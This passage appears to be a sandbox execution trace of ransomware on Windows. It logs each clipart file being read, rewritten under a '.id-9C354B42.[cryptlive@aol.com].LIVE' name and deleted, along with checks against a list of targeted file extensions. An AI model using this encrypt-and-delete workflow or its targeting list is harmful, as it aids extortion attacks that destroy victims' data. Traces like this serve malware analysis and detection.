lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2dae, lpOverlapped=0x0) returned 1 [0148.472] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2db0, lpOverlapped=0x0) returned 1 [0148.473] ReadFile (in: hFile=0x328, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.474] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.474] SetEndOfFile (hFile=0x388) returned 1 [0148.474] CloseHandle (hObject=0x388) returned 1 [0148.474] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.474] SetEndOfFile (hFile=0x328) returned 1 [0148.476] CloseHandle (hObject=0x328) returned 1 [0148.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0148.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.641] lstrlenW (lpString=".doc") returned 4 [0148.641] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.641] lstrlenW (lpString=".docx") returned 5 [0148.641] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0148.641] lstrlenW (lpString=".pdf") returned 4 [0148.641] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.641] lstrlenW (lpString=".xls") returned 4 [0148.641] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.641] lstrlenW (lpString=".xlsx") returned 5 [0148.641] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0148.641] lstrlenW (lpString=".ppt") returned 4 [0148.641] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.641] lstrlenW (lpString=".zip") returned 4 [0148.641] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.641] lstrlenW (lpString=".rar") returned 4 [0148.641] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.642] lstrlenW (lpString=".bz2") returned 4 [0148.642] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.642] lstrlenW (lpString=".7z") returned 3 [0148.642] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.642] lstrlenW (lpString=".dbf") returned 4 [0148.642] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.642] lstrlenW (lpString=".1cd") returned 4 [0148.642] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.642] lstrlenW (lpString=".jpg") returned 4 [0148.642] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.642] lstrlenW (lpString=".doc") returned 4 [0148.642] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.642] lstrlenW (lpString=".docx") returned 5 [0148.642] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0148.642] lstrlenW (lpString=".pdf") returned 4 [0148.642] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.642] lstrlenW (lpString=".xls") returned 4 [0148.642] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.642] lstrlenW (lpString=".xlsx") returned 5 [0148.642] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0148.642] lstrlenW (lpString=".ppt") returned 4 [0148.642] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.642] lstrlenW (lpString=".zip") returned 4 [0148.642] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.642] lstrlenW (lpString=".rar") returned 4 [0148.642] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.642] lstrlenW (lpString=".bz2") returned 4 [0148.642] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.642] lstrlenW (lpString=".7z") returned 3 [0148.643] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.643] lstrlenW (lpString=".dbf") returned 4 [0148.643] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.643] lstrlenW (lpString=".1cd") returned 4 [0148.643] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0148.643] lstrlenW (lpString=".jpg") returned 4 [0148.643] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.670] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.670] lstrlenW (lpString="J0099158.WMF") returned 12 [0148.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0148.678] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=26160) returned 1 [0148.678] CloseHandle (hObject=0x3cc) returned 1 [0148.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 0x20 [0148.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0148.679] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.679] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0148.680] GetLastError () returned 0x0 [0148.680] ReadFile (in: hFile=0x3cc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x6630, lpOverlapped=0x0) returned 1 [0148.707] WriteFile (in: hFile=0x3a8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x6640, lpOverlapped=0x0) returned 1 [0148.709] ReadFile (in: hFile=0x3cc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.709] WriteFile (in: hFile=0x3a8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.709] SetEndOfFile (hFile=0x3a8) returned 1 [0148.709] CloseHandle (hObject=0x3a8) returned 1 [0148.709] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.709] SetEndOfFile (hFile=0x3cc) returned 1 [0148.711] CloseHandle (hObject=0x3cc) returned 1 [0148.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0148.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.735] lstrlenW (lpString=".doc") returned 4 [0148.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.735] lstrlenW (lpString=".docx") returned 5 [0148.735] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0148.735] lstrlenW (lpString=".pdf") returned 4 [0148.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.735] lstrlenW (lpString=".xls") returned 4 [0148.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.735] lstrlenW (lpString=".xlsx") returned 5 [0148.735] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0148.735] lstrlenW (lpString=".ppt") returned 4 [0148.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.735] lstrlenW (lpString=".zip") returned 4 [0148.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.736] lstrlenW (lpString=".rar") returned 4 [0148.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString=".bz2") returned 4 [0148.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString=".7z") returned 3 [0148.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.736] lstrlenW (lpString=".dbf") returned 4 [0148.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.736] lstrlenW (lpString=".1cd") returned 4 [0148.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.736] lstrlenW (lpString=".jpg") returned 4 [0148.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.736] lstrlenW (lpString=".doc") returned 4 [0148.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString=".docx") returned 5 [0148.736] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0148.736] lstrlenW (lpString=".pdf") returned 4 [0148.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString=".xls") returned 4 [0148.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.736] lstrlenW (lpString=".xlsx") returned 5 [0148.736] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0148.736] lstrlenW (lpString=".ppt") returned 4 [0148.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.736] lstrlenW (lpString=".zip") returned 4 [0148.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.736] lstrlenW (lpString=".rar") returned 4 [0148.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString=".bz2") returned 4 [0148.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.736] lstrlenW (lpString=".7z") returned 3 [0148.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.737] lstrlenW (lpString=".dbf") returned 4 [0148.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.737] lstrlenW (lpString=".1cd") returned 4 [0148.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0148.737] lstrlenW (lpString=".jpg") returned 4 [0148.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.737] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.737] lstrlenW (lpString="J0099161.JPG") returned 12 [0148.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0148.738] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7154) returned 1 [0148.738] CloseHandle (hObject=0x3d4) returned 1 [0148.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 0x20 [0148.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.745] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.745] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0148.745] GetLastError () returned 0x0 [0148.745] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1bf2, lpOverlapped=0x0) returned 1 [0148.747] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1c00, lpOverlapped=0x0) returned 1 [0148.748] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.748] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.748] SetEndOfFile (hFile=0x3d4) returned 1 [0148.748] CloseHandle (hObject=0x3d4) returned 1 [0148.748] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.749] SetEndOfFile (hFile=0x384) returned 1 [0148.751] CloseHandle (hObject=0x384) returned 1 [0148.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0148.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.752] lstrlenW (lpString=".doc") returned 4 [0148.752] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.752] lstrlenW (lpString=".docx") returned 5 [0148.752] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0148.752] lstrlenW (lpString=".pdf") returned 4 [0148.752] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.752] lstrlenW (lpString=".xls") returned 4 [0148.752] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.752] lstrlenW (lpString=".xlsx") returned 5 [0148.752] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0148.752] lstrlenW (lpString=".ppt") returned 4 [0148.752] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.752] lstrlenW (lpString=".zip") returned 4 [0148.752] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.752] lstrlenW (lpString=".rar") returned 4 [0148.752] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.752] lstrlenW (lpString=".bz2") returned 4 [0148.752] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.752] lstrlenW (lpString=".7z") returned 3 [0148.752] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.752] lstrlenW (lpString=".dbf") returned 4 [0148.752] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.752] lstrlenW (lpString=".1cd") returned 4 [0148.752] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.753] lstrlenW (lpString=".jpg") returned 4 [0148.753] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.753] lstrlenW (lpString=".doc") returned 4 [0148.753] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.753] lstrlenW (lpString=".docx") returned 5 [0148.753] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0148.753] lstrlenW (lpString=".pdf") returned 4 [0148.753] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.753] lstrlenW (lpString=".xls") returned 4 [0148.753] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.753] lstrlenW (lpString=".xlsx") returned 5 [0148.753] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0148.753] lstrlenW (lpString=".ppt") returned 4 [0148.753] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.753] lstrlenW (lpString=".zip") returned 4 [0148.753] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.753] lstrlenW (lpString=".rar") returned 4 [0148.753] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.753] lstrlenW (lpString=".bz2") returned 4 [0148.753] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.753] lstrlenW (lpString=".7z") returned 3 [0148.753] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.753] lstrlenW (lpString=".dbf") returned 4 [0148.753] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.753] lstrlenW (lpString=".1cd") returned 4 [0148.753] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0148.753] lstrlenW (lpString=".jpg") returned 4 [0148.753] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.754] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.754] lstrlenW (lpString="J0099162.JPG") returned 12 [0148.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.754] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=19656) returned 1 [0148.754] CloseHandle (hObject=0x384) returned 1 [0148.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 0x20 [0148.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.755] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.755] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0148.756] GetLastError () returned 0x0 [0148.756] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4cc8, lpOverlapped=0x0) returned 1 [0148.758] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4cd0, lpOverlapped=0x0) returned 1 [0148.759] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.759] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, 